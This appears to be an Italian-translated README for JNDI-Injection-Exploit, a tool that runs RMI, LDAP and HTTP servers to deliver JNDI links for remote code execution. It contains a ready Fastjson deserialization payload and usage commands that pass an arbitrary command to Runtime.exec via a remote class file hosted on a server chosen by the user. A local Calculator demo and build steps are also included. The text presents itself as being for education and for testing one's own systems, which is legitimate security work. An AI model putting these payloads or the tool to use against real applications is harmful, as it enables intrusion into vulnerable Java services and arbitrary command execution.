
JNDI注入测试工具(Uno strumento che genera link JNDI può avviare diversi server per sfruttare la vulnerabilità di JNDI Injection,come Jackson,Fastjson,ecc)
Materials about JNDI Injection
JNDI-Injection-Exploit è uno strumento per generare link JNDI funzionanti e fornire servizi di background avviando server RMI, server LDAP e server HTTP. I server RMI e LDAP sono basati su marshals e ulteriormente modificati per collegarsi con il server HTTP.
Utilizzando questo strumento puoi ottenere link JNDI e inserirli nel tuo POC per testare la vulnerabilità.
Ad esempio, questo è un Fastjson vul-poc:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
Possiamo sostituire "rmi://127.0.0.1:1099/Object" con il link generato da JNDI-Injection-Exploit per testare la vulnerabilità.
Tutte le informazioni e il codice sono forniti esclusivamente a scopo educativo e/o per testare i propri sistemi per queste vulnerabilità.
Esegui come
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
dove:
-C - comando eseguito nel classfile remoto.
(opzionale, il comando predefinito è "open /Applications/Calculator.app")
-A - l'indirizzo del tuo server, può essere un indirizzo IP o un dominio.
(opzionale, l'indirizzo predefinito è il primo indirizzo dell'interfaccia di rete)
Punti da tenere a mente:
assicurati che le porte del server (1099, 1389, 8180) siano disponibili.
oppure puoi cambiare la porta predefinita nella classe run.ServerStart riga 26~28.
il tuo comando viene passato a Runtime.getRuntime().exec() come parametri,
quindi devi assicurarti che il tuo comando sia eseguibile nel metodo exec().
I comandi in bash come "bash -c ...." necessitano di virgolette doppie.
Demo locale:
Avvia lo strumento in questo modo:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
Schermata:

Supponiamo di iniettare i link JNDI come rmi://ADDRESS/jfxllc generati al passo 1 in un'applicazione vulnerabile che può essere attaccata tramite iniezione JNDI.
In questo esempio, appare così:
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
}
poi quando eseguiamo questo codice, il comando verrà eseguito,
e il log verrà stampato nella shell:

Possiamo scegliere uno dei due metodi per ottenere il jar.
Scarica l'ultimo jar da Realease.
Clona il codice sorgente in locale e compila (richiede Java 1.8+ e Maven 3.x+).
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests